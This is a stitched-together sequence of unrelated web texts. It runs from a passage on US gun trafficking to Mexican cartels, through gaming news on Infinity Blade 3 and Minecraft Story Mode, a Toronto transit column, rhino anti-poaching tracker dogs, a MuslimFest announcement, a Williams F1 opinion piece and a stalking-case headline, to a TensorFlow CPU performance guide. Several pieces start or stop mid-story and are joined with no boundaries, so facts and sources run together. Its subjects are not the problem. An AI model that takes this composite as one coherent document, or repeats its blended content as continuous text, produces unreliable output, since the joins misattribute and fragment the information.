"The United States is the easiest and the cheapest place for drug traffickers to get their firearms, and as long as we are the easiest and cheapest place for the cartels to get their firearms there'll continue to be gun trafficking," said J Dewey Webb, the special agent in charge of pursuing weapons traffickers in Texas at the US Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF).
Kristen Rand, director of the Violence Policy Centre which campaigns for greater gun control, said drug traffickers face little more than a few logistical difficulties in buying weapons in America.
"If you wanted to design a set of laws to encourage gun trafficking, that is what the US has done," she said. "The traffickers are able to access a high volume of assault weapons, sniper rifles, armour-piercing handguns. All the weapons they need to wage war are readily available on the civilian market. There's basically nothing to stop them other than the annoyance of having to round up enough people to buy them."
'All the weapons are bought in the US'
It's even easier to buy ammunition. While many US states demand a driving licence to buy common types of cold medicine that can also be used to manufacture the drug meth amphetamine, not a single state requires identification to purchase ammunition, even in large quantities.
According to the US Government Accountability Office, 87% of firearms seized by Mexico over the previous five years were traced to the US. Texas was the single largest source. The US attorney general, Eric Holder, told Congress last month that of 94,000 weapons captured from drug traffickers by the Mexican authorities, over 64,000 originated in the US.
Tens of thousands of guns have been smuggled across the US's southern border. Photograph: Ronaldo Schemidt/AFP/Getty Images
One of the most senior members of the Zetas, Jesus Enrique Rejon Aguilar, said after his capture in July that the cartel is armed by weapons from American gun shops.
"All the weapons are bought in the United States," he said in a video recorded by the Mexican federal police.
Only legal residents of Texas can buy guns over the counter, so the cartels use people such as Hernandez, who has since been jailed for eight years along with other members of his ring, as "straw purchasers".
"We see them being paid $50 to $500 a time. In these times, that's a lot of money for folks," said Webb. "What we've seen with the cartels is very elaborate schemes. They have people that handle the money. They have people that handle the transportation of the weapons. They use the same infrastructure they use to bring the drugs in. Sometimes even the same vehicles that move the narcotics north are the vehicles that move the firearms and the ammunition and money south."
The straw buyers are mostly in search of guns such as AK-47s and Armalite assault rifles, which were popular with the IRA, as well as powerful pistols such as the Belgian-made FN. All are available over the counter in thousands of gun shops.
Webb rests his hand on a long, heavy sniper rifle that fires a round nearly six inches long, seized on its way to Mexico.
"The cartels want that because it fires a round that can disable a vehicle by penetrating the engine. You can hit a target from almost a mile away with that. That gun sells for about $10,000 most places. Over the last five years we've seen an increase in demand by the traffickers for that gun," he said.
"We had a case not too long ago where a juvenile, through his iPhone, was able to buy one of those weapons from a licensed dealer and then sent an adult in to straw-purchase the gun."
Jim Pruett's gun store in northern Houston sells the full array of weapons. "We've been through hurricanes here, many of them, where lawlessness prevails for a short period of time. If something like that hits, you're gonna have to defend yourself," said Pruett, standing next to a gun target that characterises Osama bin Laden as a zombie. "I think the zombies are real in that they are the meth addicts, the crazed cartel druggies."
Pruett said he sees suspicious buyers on a regular basis. He still sells them guns but then reports them.
"Is there racial profiling? Yes. If they're Hispanic and they're female and they're buying 10 AK-47s, yes, that's a red light and we're gonna call ATF and let them know about it," he said.
Has he had such a customer?
"Yes. We unofficially found out she was taking the guns south and turning AK's in to fully automatic," he said. "Gun store owners are patriotic. We want to get the bad guys."
Pruett said he also turned in a man who bought 10 AR-15s, the civilian version of the army's M-16.
Last month, Holder told Congress that the US is "losing the battle" to stem the flow of weapons, and appealed for stronger legislation. Last year, Mexico's president, Felipe Calderon, pleaded with the US Congress to act.
"There is one issue where Mexico needs your cooperation, and that is stopping the flow of assault weapons and other deadly arms across the border," he said.
In July, two Democratic party members of Congress sponsored legislation to make weapons trafficking a federal crime. It has widespread support among police officers including the Federal Law Enforcement Officers Association which represents more than 26,000 federal agents.
'Virtually moribund' Congress
But the bill is facing stiff resistance from a gun lobby that says new laws are the thin end of a wedge that will result in the government confiscating all weapons. Wayne LaPierre, chief executive of the National Rifle Association, one of the most powerful lobby groups in the US, has said that tightening gun laws will penalise hunters and those Americans who buy firearms for self-defence.
Many members of Congress, often with one eye on the NRA, are also resistant.
Politicians who speak alarmingly of the threat to the US from the bloodshed on its southern border, and use it to call for tighter immigration controls, are often the ones who most strongly oppose even the most minimal new measures to stem the flow of weapons.
A report by the US senate's narcotics control caucus in June said: "Congress has been virtually moribund while powerful Mexican drug trafficking organisations continue to gain unfettered access to military-style firearms coming from the United States".
"The reason it doesn't happen is because the National Rifle Association owns Congress," said Rand. "Congress is right now working to pass legislation to loosen the restrictions on the carrying of concealed weapons. There's no will, no leadership from the White House."
The Obama administration has spurned appeals to reinstate a ban on the importation of AK-47s and other kinds of foreign-made assault rifles that was in place during the Clinton administration but dropped by President Bush.
The ATF, which falls under Holder's jurisdiction, earlier this year began requiring gun shops in the four US states bordering Mexico to report to authorities if the same person buys two or more assault rifles and some other guns over a five-day period. Congress has tried to block the measure, to Holder's frustration.
"Unfortunately, earlier this year, the House of Representatives actually voted to keep law enforcement in the dark when individuals purchase multiple semi-automatic rifles and shotguns in south-west border gun shops," Holder told Congress.
The gun lobby's strategy has been to go on the attack by questioning whether the cartels are being armed by guns bought in the US at all. It's a view shared by Pruett.
"The idea that Jim Pruett's guns and ammo are supplying the drug cartels with weapons is totally unsound thinking," said Pruett. "The drug cartels probably have more money than Mexico. They get AR-15s, rocket launchers, explosives, you name it, by the cargo container full, probably through legal means. Probably El Salvador is more of a sieve for the influx of guns than the United States is … The argument ends with: the United States does not supply the cartels with weapons."
Webb scoffs at the idea. Although restrained by his position from openly criticising the politics of the issue, he is clearly frustrated at the unwillingness of Congress to act.
"There's some common sense things about the way things should be done," he said.
But ultimately, Webb says it's the drug buyers who are responsible.
"Every person that pays for that marijuana, that meth, that cocaine is paying for the tools of the trade which are guns. Those people that are buying the drugs are just as responsible as the people buying those guns, just as responsible as the people pulling the triggers in Mexico. The drug use in this country is fuelling that machine. It's a never-ending cycle," he said.
Mexico's president sees it differently.
The third installment in the hit mobile hacking-and-slashing game "Infinity Blade" will launch alongside iPhone 5S and the revamped mobile operating system, iOS 7, Epic Games representatives announced at Tuesday during Apple's media event in Cupertino, Calif.
For an event that's dominated by talk of pixel counts and camera features, Epic Games's appearance onstage alongside Apple might have surprised gamers and iPhone fanboys alike, particularly given the absence of any announcement about the much-rumored TV features that many techies expected to see on Tuesday. But Apple used the opportunity to present the iPhone as a vibrant gaming platform in its own right distinct from the looming competition of other tech companies like Microsoft and Sony, both of which are planning to release high-end video game consoles later this year along with other mobile and media-streaming devices.
"Infinity Blade 3" will debut on the iOS App Store for $6.99 on Sept. 18, the same day iOS 7 goes live and two days before the iPhone 5S goes on sale. The game is compatible with the twonew iPhones announced today, the 5S and 5C, as well as the iPhone 5, iPhone 4S, iPhone 4, iPad 4, iPad 3, iPad 2, iPad Mini, iPod touch 5, and iPod touch 4. Watch the reveal trailer below.
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Yannick LeJacq is a contributing writer for NBC News who has also covered technology and games for Kill Screen, The Wall Street Journal and The Atlantic. You can follow him on Twitter at @YannickLeJacq and reach him by email at: Yannick.LeJacq@nbcuni.com.
Telltale Games on Thursday released a new trailer for its upcoming episodic game based on Mojang's Minecraft franchise and confirmed another actor whose voice will appear in the game.
The video (watch it above) sets up the story for Story Mode's first of five chapters, The Order of the Stone. We won't spoil it for you, but it looks like a grand adventure. In the game, you play as a male or female hero named Jesse and travel across the Overworld on a journey to "the End, and beyond."
The game features the voices of actors like Patton Oswalt, Billy West, Ashley Johnson, Paul Reubens, and Corey Feldman. Announced today, however, is John Hodgman, who plays Soren the Architect. You probably know Hodgman as the man who portrayed the PC in Apple's "Get a Mac" commercials. He's also appeared as a correspondent on The Daily Show.
The Order of the Stone launches on digital channels on October 13 across PC, Mac, PlayStation 4, PlayStation 3, Xbox One, and Xbox 360. The episode comes to iOS and Android devices on October 15, while versions of the game are also in development for Wii U and PlayStation Vita. Release dates for those versions, however, have not been announced.
A disc-based version will launch for all major consoles except Wii U on October 27, featuring the first episode. The remaining four will be available to download when they are released.
Finally, Telltale Games announced today that it will hold a world premiere launch event for Story Mode in Hollywood, California on October 12 at the ArcLight Cinerama Dome. The developer is hoping for this event to become the world's largest "Let's Play" gathering, as the crowd will get to direct the on-screen action. Tickets are free and you can get one by emailing minecraftpremiere@telltalegames.com.
Weary passengers leave Kennedy station on the SRT March 26, 2010. Kennedy was to be a major terminus in the Transit City plans that were delayed by the previous day's provincial budget. ( LUCAS OLENIUK / TORONTO STAR )
So, be bold and think big when it comes to transit, probably the region’s toughest and most expensive nut to crack. That’s the message from planner Joe Berridge delivered to about 100 transportation advocates convened by the Toronto City Summit Alliance yesterday. “Who could’ve believed 20 years ago that we could spend a billion dollars on culture?” he asked, referring to the opera house and additions and remakes of the museum, art gallery and other institutions. “Be bold. Bold works. Toronto is a big, global city. (On transit) we recognize the scale of the problem, we are forging partnerships, we have a financing plan and there’s no question we have the money in this town.
Article Continued Below
“Toronto is one huge, enormous city. We are a global leader.” Most accept the “global leader” tag. Toronto ranks Number 9 among all cities in the world on Google City searches — ahead of Rome, Tokyo, Milan, Amsterdam, Frankfurt. But wealthy enough to fund our transit needs? — with the help of federal and provincial governments, of course. That’s the Toronto region’s next big challenge — to move its people across the sprawling region. Most citizens in the GTA and Hamilton don’t need smart boards and graphs and a media campaign to inform them of the fact; they live it daily from home to work or school. The question for the next decade and beyond is this: Is Toronto up to the task of wrestling the problem into submission?
Solutions will cost billions of dollars and likely involve controversial funding tools, like road tolls. Citizens will exchange angry words. Tempers will flare at public meetings. And some politicians will be unable to resist exploiting the issue. Still, congestion will be as pressing a public policy challenge a decade from now as it is today. That’s because all the trends are going the wrong way. Or, as a recent report puts it:
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“Traffic congestion is going from bad to worse at an increasing rate.” The local wakeup call — if one was needed — must have been the Board of Trade report in March that showed commuting time in the Toronto region had reached 80 minutes. That’s slower than the slow times in Los Angeles, the postcard city for traffic jams. Ouch. And the pressure of more people and more cars is expected to continue. Projections show the Toronto area will add the population of Montreal in the next 25 years. Another 1.5 million cars are coming. A region-wide transportation plan from the provincial agency Metrolinx requires $50 billion. By 2015, the plan will be short $4 billion per year, after accounting for provincial and federal funds. This means at some point, citizens here will have to pay to ease the congestion. Our politicians are afraid to suggest road tolls, parking levies, congestion fees and various “taxes” to arrest the creeping congestion now clearly evident. Attendees at yesterday summit debated as many as 12 options. The sooner we start talking about them in polite company, the earlier the solutions arrive. So far, the conversation includes very little that drivers find attractive. That must change. Opinion makers must mine options that have at least grudging appeal. Otherwise, Toronto the global dynamo will choke on its success. Royson James usually appears Tuesday, Thursday and Saturday. Email: rjames@thestar.ca
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“I am ready to die for conserving the rhino,” says Wisdom Makhubele. But the brave young ranger now has another weapon in the war against rhino poaching: the extraordinary nose of tracking hounds.
The trained dogs can run poachers to ground far faster than people, sometimes even being set free in packs and followed from helicopters. The new canine training unit at the Southern African Wildlife College (SAWC), near Acornhoek, opened earlier this year and dogs have already brought armed poachers to heel in Kruger national park, the epicentre of the rhino poaching crisis.
At least 6,000 African rhinos have been slaughtered by poachers since 2008, to fuel the soaring demand for its horn in Asia, where it is highly valued as a supposed tonic and status symbol. The rhino poaching epidemic across Africa has exploded in recent years, with annual increases in killings every year since 2009: 1,338 were slaughtered in 2015.
It was a hot topic at the major wildlife trade summit in Johannesburg this week, where an attempt by Swaziland to legalise rhino horn trade was defeated.
South Africa hosts more than 90% of the 20,000 surviving white rhinos and almost half the 4,800 remaining black rhinos and saw a slight dip in the slaughter in 2015, the first decrease in nine years. Over 70% of the rhino kills occur in Kruger and a sign on the way into the park reads “Poachers will be poached”.
Facebook Twitter Pinterest Airforce helmet with an anti-poaching slogan on the back. Photograph: Jason Edwards/NG/Alamy Stock Photo
Dogs have been used for camp security for years, but the escalating poaching crisis has found them a new role. “They are awesome – they are instinctive to tracking,” says Johan van Straaten, manager of the dog unit, which has been funded by WWF Nedbank Green Trust. “All these dogs can track, it’s in their genes. But we train them to track the scent we want. These dogs are imprinted on human scent, like narcotics dogs are on drugs.”
Two dozen dogs are in training at the camp, protected from predators by an 8,000-volt electric fence. Most are cross-breeds of English foxhounds and blueticks, although beagles are being tested too. They are trained to detect poached horns and weapons as well as track. The rest of the pack are Belgian Malinois, a slightly smaller, more agile German shepherd, which are used for “bite work” – apprehending poachers.
Sophie, a seven-month-old hound, is first out of the kennels to start training today. It’s only her third outing, but she criss-crosses the ground and picks up the scent left by Makhubele in seconds and bounds off in pursuit. She leads van Straaten like an arrow to the hollow 500m away where Makhubele is hiding. If the dog loses the scent on older trails, the handler helps out, looking for footprints or flattened grass. “It’s teamwork,” says Makhubele.
Next out is Belgian Malinois, Dozer, this time chasing Makhubele who has donned a thick padded jacket. Makhubele runs off screaming and shouting and Dozer is given the order “bring him!”. The dog latches on to Makhubele’s arm and refuses to let go, even when swung from the ground.
The dogs are first trained to bite the arm, says Makhubele: “But later we train them to bite everywhere.” After Dozer is stood down, he pads around looking for strokes and praise. “It’s controlled aggression,” says van Straaten.
Currently, about a third of Kruger’s 22 ranger stations have a trained dog but the aim is to have four dogs per station, so all of the day’s patrols can use them. South African National Parks have trained and used their own tracker dogs for a few years and in Kenya, bloodhounds are now tracking elephant poachers. But the independent SAWC now provides the dogs for any park at 100,000 rand (£5,500) each to cover training costs.
Van Straaten says the dogs have helped him catch many poachers, most of whom come quietly once surrounded, but he has been involved in shootouts. “I like it,” he says with a careful smile. “It’s adrenaline, and being afraid makes you sharp.”
Facebook Twitter Pinterest ‘These dogs are imprinted on human scent, like narcotics dogs are on drugs.’ Photograph: Denis Farrell/AP
Being a ranger in the war on poaching can be deadly – more than 1,000 rangers were killed around the world in the last decade and many more injured. The danger follows the rangers home too. “They are targets and their families can be targets, that’s for certain,” says van Straaten.
Makhubele comes from a local village. “People there know me and some of them are poachers, but I am not afraid,” he says. “This [rhino population] is our legacy and we have to look after it.”
The ranger training camp reflects the violent reality. “It is very paramilitary,” says Marianne de Kock, programme manager and a former soldier. “It’s a war out there and you have to know in your heart that when they get out there, they are going to survive.”
The instructors, many of whom are also former soldiers, drill the students in weaponry, camouflage, bush survival, silent sign language to use on operations, as well as mapping and wildlife knowledge. The 128 trainee rangers currently at SAWC live in tents, with inspection drill every morning and severe physical training. Their enemy are often ex-military too, frequently coming across the border from troubled Mozambique.
“A ranger’s life in South Africa used to be all about conservation but now it is all about anti-poaching and that is sad,” said Theresa Sowry, SAWC’s chief executive. “But they are fully aware of the risks, which is why we have had to up the training.”
Self defence is a critical part of this, she says: “If you have a weapon pointed at you, you have the right to shoot. But we do not have a shoot on sight policy – we are not Botswana. In a perfect world, the poachers are arrested and put away for a long, long time.”
Facebook Twitter Pinterest ‘A ranger’s life in South Africa used to be all about conservation but now it is all about anti-poaching.’ Photograph: Herman Verwey/Getty Images
The dogs are a new way of capturing poachers, for whom vast criminal profits are at stake: rhino horn is more valuable by weight than gold, diamonds and cocaine.
“We didn’t use dogs before as we didn’t have the same [poaching] problem before,” says Gawie Lindeque, head guide at SAWC. “Also, in the past the bushman trackers were as good as the dogs. They would have been out minding the cattle from very young. But then we made it mandatory for all kids to go to school. The bush is not their school anymore.”
“The festival is a unique cultural fusion that combines Islamic traditions and Canadian culture, enjoyed by attendees from different backgrounds and age groups,” Tariq Syed, the Event Director of MuslimFest 2017, told AboutIslam.net correspondent.
“Unique ethnic cuisines, international bazaar, creative workshops, and kids’ village, offer something to everyone in the family.”
Featuring local and international artists, concerts, stand-up comedy shows, workshops, films and documentaries, the festival begins on Friday, August 4, and runs until Sunday evening, August 6.
“MuslimFest is an award-winning annual festival in Mississauga that celebrates the best in Muslim arts and entertainment,” stated the event organizers.
“The event features over 80 local and international artists who showcase their talent in various genre or art.”
“Today, this festival is considered North America’s largest Muslim festival of its kind, attracting over 30,000 attendees annually,” added MuslimFest.
“Providing youth with opportunities to share their culture with the broader community, MuslimFest is a great place to engage with art from around the world, connect with your local community, and learn something new.”
Canada 150
The festival will open with a flag hoisting ceremony featuring 150 children singing the national anthem and the Canada 150 exhibit that showcases the heritage and growth the Muslim community has brought to Canada in the last 150 years.
“We hope that it inspires the community to continue to actively contribute to Canada in the future,” said the organizers.
“This exhibit will also act as a medium to build positive dialogue about the Muslim community amongst our neighbors.”
The opening ceremony will include Qur’anic recitations by the two world-renowned reciters, Qari Saad Nomani from Saudi Arabia and Qari Ahmad Mian Thanvi from Pakistan.
Over the weekend, the main stage performances include comedy entertainment by Hollywood’s Maz Jobrani, Omar Regan, along with Canadian Salma Hindy and Little Mosque on the Prairie producer, Zarqa Nawaz.
Maz Jobrani, who is a founding member of The Axis of Evil comedy tour, has recently been in the news with the debut of his Netflix comedy special, Immigrant, on August 1st.
Nasheed artists already lined up for the occasion include Mesut Kurtis, Dawood Wharnsby, Humood, Illyas Mao, Siedd, Mustaqeem and Khaled Siddique.
Pakistan Pavilion
Another feature of this year’s festival is the Pakistan pavilion which will showcase the diversity and rich cultural heritage of Pakistan.
According to MuslimFest, the pavilion “will allow visitors to explore Pakistan’s history, and its people’s intricate craftsmanship, embroidered dresses, handmade furniture as well as delicious food.”
The festival has drawn praise from politicians and civic leaders across the region for showcasing the province’s diversity and promoting understanding among citizens.
Launched in 2004, MuslimFest is a joint initiative of DawaNet, Young Muslims Canada, and Sound Vision.
It aims to connect with the broader community through the language of art, humor, and meaningful entertainment.
In its first year in 2004, about 4,000 people attended the one-day festival.
It has since been expanded and moved to the city’s public outdoor square, Celebration Square, where it attracts more than 30,000 visitors each year.
The festival was chosen by Festival and Events Ontario (FEO) as one of the top 100 festivals in the province.
Muslims are the fastest growing religious community in Canada, according to the country’s statistical agency, Statistics Canada.
Muslims represent 3.2 percent of Canada’s total population, according to Canada’s 2011 National Household Survey.
There has been a measurable decline in performance, in 2014, the team achieved podiums a huge number of podiums. The best they could muster in 2015 was the lowest step of the podium a few times, and in 2016, a solitary third place finish.
From the more casual fans perspective, little has changed in the design of the Williams chassis. And in terms of pure statistics, there is little to challenge that perspective;
His team saw a slight resurgence in form in 2014, powered by the dominant Mercedes engine. Finishing an impressive 3rd place in the constructor’s championship, ahead of teams on much bigger budgets like Ferrari. Since that year, the team have only gone backwards, the flaws of the car were clear even in that season, the low down-force philosophy Pat Symonds adopted when designing the car had issues in wet weather, and on the high down-force tracks.
The year is 1977. Frank Williams and Patrick Head are talking. The result of the conversation is a Formula 1 team which has a history that only Mclaren and Ferrari can challenge.
Williams and Renault were a dominant partnership in the early 1990s. This partnership, combined with the active suspension designed for the FW14B meant that it was a fantastic car, the FW15C was a similar deal. The 1997 season was the last time, as I’ve already stated, that a Frank Williams won a championship, again powered by a ten-cylinder Renault engine.
Since then, Williams has flirted with the idea of prolonged success, but never quite hit the mark. 20 years have passed, and the team is looking no closer than they did five, ten, or fifteen years ago.
The Mercedes power unit provides a great opportunity for the constructor. Yes, they may not be able to challenge Mercedes themselves, or even Ferrari, but there is no reason to say that they couldn’t bring a challenge to Red Bull Racing. With a smaller budget but a far superior engine to the Renault the Austrian team use, or the Honda one they will be soon, they have a solid foundation.
On some levels, it seems like they may be making a conscious effort do this. Paddy Lowe, a fantastic and, previously successful Williams’ employee, designer/engineer has rejoined the team. Lowe is the man who oversaw the development of the brilliant active suspension. A man who has been a part of the design of seven different championship winning cars. The Wantage based team have shown great intent, making him a key figure in their future.
The man supposedly influencing the decision that Williams make on the driver that races alongside his son next season.
Unfortunately, in other aspects, the team seems to be accepting their mediocrity. The signing of Lance Stroll was widely regarded as solely for the purpose of improving the team’s finances. Felipe Massa’s retention was also seen as a quite uninspiring decision. The worry that the team may be settling for financial prosper was only further compounded when it was released that the team’s decision on their driver lineup was being influenced by Stroll Sr. The man providing his son Lance with the mass financial backing.
The supposed shortlist for the seat alongside Stroll are,
Paul Di Resta, 31
Felipe Massa, 36
Robert Kubica, 32
The third man on that list is one who I’m sure most fans are familiar with at this point, the excitement behind his return to the pinnacle of Motorsport has been well documented. The rumour that he may have a place at Williams Martini Racing was reinforced by his decision to end his own contract with Renault. Giving him more freedom to negotiate with other teams.
Kubica in his 2007 BMW-Sauber at Monaco.
There is an unexpected roadblock on his highway back to an F1 seat and its net worth is somewhere around the $2,400,000,000 mark. It seems Stroll Sr doesn’t want to see his son being outshone by a fast Pole.
As you’ll have noticed, each of the drivers on that list is in their thirties. This is down to financial reasons once again. Martini, William’s title sponsor, with their iconic, white, red and blue, supply the team with huge financial backing. Due to their position as a subsidiary of Bacardi, and as a producer of Vermouth and Sparkling Wine require that at least one driver of the two are at least twenty-five years or above. This means drivers like Wehrlein and Russell, cannot drive alongside Lance.
It seems Williams is at a crossroad. It isn’t the first they face, and it most certainly won’t be the last, but they have a decision to make. Do they settle with a mid-table position, fighting for points at the lower end of the top ten, or do they push forward? Do they ignore the advice of Lawrence Stroll, sign Kubica and hope he can be the driver to push their team to greater heights. Do they use Lowe’s expertise and innovate their package, pushing past Force India, and challenging Red Bull Racing. The decision, in the end, will be down to the members of the team who have a stake in the team, most importantly, Claire Williams. A woman who has faced more than her fair share of criticism as the first ever female deputy team principal.
Highlights Vikas Barala, Haryana BJP chief's son, allegedly stalked woman in his SUV Woman wrote a Facebook post recounting her ordeal Vikas Barala and his friend were arrested and later released on bail
The woman in her Facebook post said she could have been raped and killed
Input pipeline
The input pipeline extracts data from a location, transforms it, and loads it onto an accelerator for processing. As accelerators become faster, it is important that the input pipeline keeps up with the demand. The tf.data API is designed with flexibility, ease of use, and performance in mind. For using and maximizing performance with the tf.data API, see the data input pipeline guide.
Reading large numbers of small files significantly impacts I/O performance. One approach to get maximum I/O throughput is to preprocess input data into larger (~100MB) TFRecord files. For smaller data sets (200MB-1GB), the best approach is often to load the entire data set into memory. The document Downloading and converting to TFRecord format includes information and scripts for creating TFRecord s, and this script converts the CIFAR-10 dataset into TFRecord s.
While feeding data using a feed_dict offers a high level of flexibility, in general, feed_dict does not provide a scalable solution. Avoid using feed_dict for all but trivial examples.
# feed_dict often results in suboptimal performance. sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})
RNN Performance
There are many ways to specify an RNN computation in TensorFlow and they have trade-offs with respect to model flexibility and performance. The tf.nn.rnn_cell.BasicLSTMCell should be considered a reference implementation and used only as a last resort when no other options will work.
When using one of the cells, rather than the fully fused RNN layers, you have a choice of whether to use tf.nn.static_rnn or tf.nn.dynamic_rnn . There shouldn't generally be a performance difference at runtime, but large unroll amounts can increase the graph size of the tf.nn.static_rnn and cause long compile times. An additional advantage of tf.nn.dynamic_rnn is that it can optionally swap memory from the GPU to the CPU to enable training of very long sequences. Depending on the model and hardware configuration, this can come at a performance cost. It is also possible to run multiple iterations of tf.nn.dynamic_rnn and the underlying tf.while_loop construct in parallel, although this is rarely useful with RNN models as they are inherently sequential.
On NVIDIA GPUs, the use of tf.contrib.cudnn_rnn should always be preferred unless you want layer normalization, which it doesn't support. It is often at least an order of magnitude faster than tf.contrib.rnn.BasicLSTMCell and tf.contrib.rnn.LSTMBlockCell and uses 3-4x less memory than tf.contrib.rnn.BasicLSTMCell .
If you need to run one step of the RNN at a time, as might be the case in reinforcement learning with a recurrent policy, then you should use the tf.contrib.rnn.LSTMBlockCell with your own environment interaction loop inside a tf.while_loop construct. Running one step of the RNN at a time and returning to Python is possible, but it will be slower.
On CPUs, mobile devices, and if tf.contrib.cudnn_rnn is not available on your GPU, the fastest and most memory efficient option is tf.contrib.rnn.LSTMBlockFusedCell .
For all of the less common cell types like tf.contrib.rnn.NASCell , tf.contrib.rnn.PhasedLSTMCell , tf.contrib.rnn.UGRNNCell , tf.contrib.rnn.GLSTMCell , tf.contrib.rnn.Conv1DLSTMCell , tf.contrib.rnn.Conv2DLSTMCell , tf.contrib.rnn.LayerNormBasicLSTMCell , etc., be aware that they are implemented in the graph like tf.contrib.rnn.BasicLSTMCell and will suffer from the same poor performance and high memory usage. Consider whether or not those trade-offs are worth it before using these cells. For example, while layer normalization can speed up convergence, because cuDNN is 20x faster, the fastest wall clock time to convergence is usually obtained without it.
Manual tuning
Optimizing for CPU
CPUs, which includes Intel® Xeon Phi™, achieve optimal performance when TensorFlow is built from source with all of the instructions supported by the target CPU.
Beyond using the latest instruction sets, Intel® has added support for the Intel® Math Kernel Library for Deep Neural Networks (Intel® MKL-DNN) to TensorFlow. While the name is not completely accurate, these optimizations are often simply referred to as MKL or TensorFlow with MKL. TensorFlow with Intel® MKL-DNN contains details about the MKL optimizations.
The two configurations listed below are used to optimize CPU performance by adjusting the thread pools.
intra_op_parallelism_threads : Nodes that can use multiple threads to parallelize their execution will schedule the individual pieces into this pool.
: Nodes that can use multiple threads to parallelize their execution will schedule the individual pieces into this pool. inter_op_parallelism_threads : All ready nodes are scheduled in this pool.
These configurations are set using the tf.ConfigProto and passed to tf.Session in the config attribute as shown in the snippet below. For both configuration options, if they are unset or set to 0, will default to the number of logical CPU cores. Testing has shown that the default is effective for systems ranging from one CPU with 4 cores to multiple CPUs with 70+ combined logical cores. A common alternative optimization is to set the number of threads in both pools equal to the number of physical cores rather than logical cores.
config = tf.ConfigProto() config.intra_op_parallelism_threads = 44 config.inter_op_parallelism_threads = 44 tf.Session(config=config)
TensorFlow with Intel® MKL DNN
Intel® has added optimizations to TensorFlow for Intel® Xeon® and Intel® Xeon Phi™ through the use of the Intel® Math Kernel Library for Deep Neural Networks (Intel® MKL-DNN) optimized primitives. The optimizations also provide speedups for the consumer line of processors, e.g. i5 and i7 Intel processors. The Intel published paper TensorFlow* Optimizations on Modern Intel® Architecture contains additional details on the implementation.
Note: MKL was added as of TensorFlow 1.2 and currently only works on Linux. It also does not work when also using --config=cuda .
In addition to providing significant performance improvements for training CNN based models, compiling with the MKL creates a binary that is optimized for AVX and AVX2. The result is a single binary that is optimized and compatible with most modern (post-2011) processors.
TensorFlow can be compiled with the MKL optimizations using the following commands that depending on the version of the TensorFlow source used.
For TensorFlow source versions after 1.3.0:
./configure # Pick the desired options bazel build --config=mkl --config=opt //tensorflow/tools/pip_package:build_pip_package
For TensorFlow versions 1.2.0 through 1.3.0:
./configure Do you wish to build TensorFlow with MKL support? [y/N] Y Do you wish to download MKL LIB from the web? [Y/n] Y # Select the defaults for the rest of the options. bazel build --config=mkl --copt="-DEIGEN_USE_VML" -c opt //tensorflow/tools/pip_package:build_pip_package
Tuning MKL for the best performance
This section details the different configurations and environment variables that can be used to tune the MKL to get optimal performance. Before tweaking various environment variables make sure the model is using the NCHW ( channels_first ) data format. The MKL is optimized for NCHW and Intel is working to get near performance parity when using NHWC .
MKL uses the following environment variables to tune performance:
KMP_BLOCKTIME - Sets the time, in milliseconds, that a thread should wait, after completing the execution of a parallel region, before sleeping.
- Sets the time, in milliseconds, that a thread should wait, after completing the execution of a parallel region, before sleeping. KMP_AFFINITY - Enables the run-time library to bind threads to physical processing units.
- Enables the run-time library to bind threads to physical processing units. KMP_SETTINGS - Enables (true) or disables (false) the printing of OpenMP* run-time library environment variables during program execution.
- Enables (true) or disables (false) the printing of OpenMP* run-time library environment variables during program execution. OMP_NUM_THREADS - Specifies the number of threads to use.
More details on the KMP variables are on Intel's site and the OMP variables on gnu.org
While there can be substantial gains from adjusting the environment variables, which is discussed below, the simplified advice is to set the inter_op_parallelism_threads equal to the number of physical CPUs and to set the following environment variables:
KMP_BLOCKTIME=0
KMP_AFFINITY=granularity=fine,verbose,compact,1,0
Example setting MKL variables with command-line arguments:
KMP_BLOCKTIME=0 KMP_AFFINITY=granularity=fine,verbose,compact,1,0 \ KMP_SETTINGS=1 python your_python_script.py
Example setting MKL variables with python os.environ :
os.environ["KMP_BLOCKTIME"] = str(FLAGS.kmp_blocktime) os.environ["KMP_SETTINGS"] = str(FLAGS.kmp_settings) os.environ["KMP_AFFINITY"]= FLAGS.kmp_affinity if FLAGS.num_intra_threads > 0: os.environ["OMP_NUM_THREADS"]= str(FLAGS.num_intra_threads)
There are models and hardware platforms that benefit from different settings. Each variable that impacts performance is discussed below.
KMP_BLOCKTIME : The MKL default is 200ms, which was not optimal in our testing. 0 (0ms) was a good default for CNN based models that were tested. The best performance for AlexNet was achieved at 30ms and both GoogleNet and VGG11 performed best set at 1ms.
: The MKL default is 200ms, which was not optimal in our testing. 0 (0ms) was a good default for CNN based models that were tested. The best performance for AlexNet was achieved at 30ms and both GoogleNet and VGG11 performed best set at 1ms. KMP_AFFINITY : The recommended setting is granularity=fine,verbose,compact,1,0 .
: The recommended setting is . OMP_NUM_THREADS : This defaults to the number of physical cores. Adjusting this parameter beyond matching the number of cores can have an impact when using Intel® Xeon Phi™ (Knights Landing) for some models. See TensorFlow* Optimizations on Modern Intel® Architecture for optimal settings.
: This defaults to the number of physical cores. Adjusting this parameter beyond matching the number of cores can have an impact when using Intel® Xeon Phi™ (Knights Landing) for some models. See TensorFlow* Optimizations on Modern Intel® Architecture for optimal settings. intra_op_parallelism_threads : Setting this equal to the number of physical cores is recommended. Setting the value to 0, which is the default, results in the value being set to the number of logical cores - this is an alternate option to try for some architectures. This value and OMP_NUM_THREADS should be equal.
: Setting this equal to the number of physical cores is recommended. Setting the value to 0, which is the default, results in the value being set to the number of logical cores - this is an alternate option to try for some architectures. This value and should be equal. inter_op_parallelism_threads : Setting this equal to the number of sockets is recommended. Setting the value to 0, which is the default, results in the value being set to the number of logical cores.
Building and installing from source
The default TensorFlow binaries target the broadest range of hardware to make TensorFlow accessible to everyone. If using CPUs for training or inference, it is recommended to compile TensorFlow with all of the optimizations available for the CPU in use.
To install the most optimized version of TensorFlow, build and install from source. If there is a need to build TensorFlow on a platform that has different hardware than the target, then cross-compile with the highest optimizations for the target platform. The following command is an example of using bazel to compile for a specific platform:
# This command optimizes for Intel’s Broadwell processor bazel build -c opt --copt=-march="broadwell" --config=cuda //tensorflow/tools/pip_package:build_pip_package
Environment, build, and install tips
./configure asks which compute capability to include in the build. This does not impact overall performance but does impact initial startup. After running TensorFlow once, the compiled kernels are cached by CUDA. If using a docker container, the data is not cached and the penalty is paid each time TensorFlow starts. The best practice is to include the compute capabilities of the GPUs that will be used, e.g. P100: 6.0, Titan X (Pascal): 6.1, Titan X (Maxwell): 5.2, and K80: 3.7.
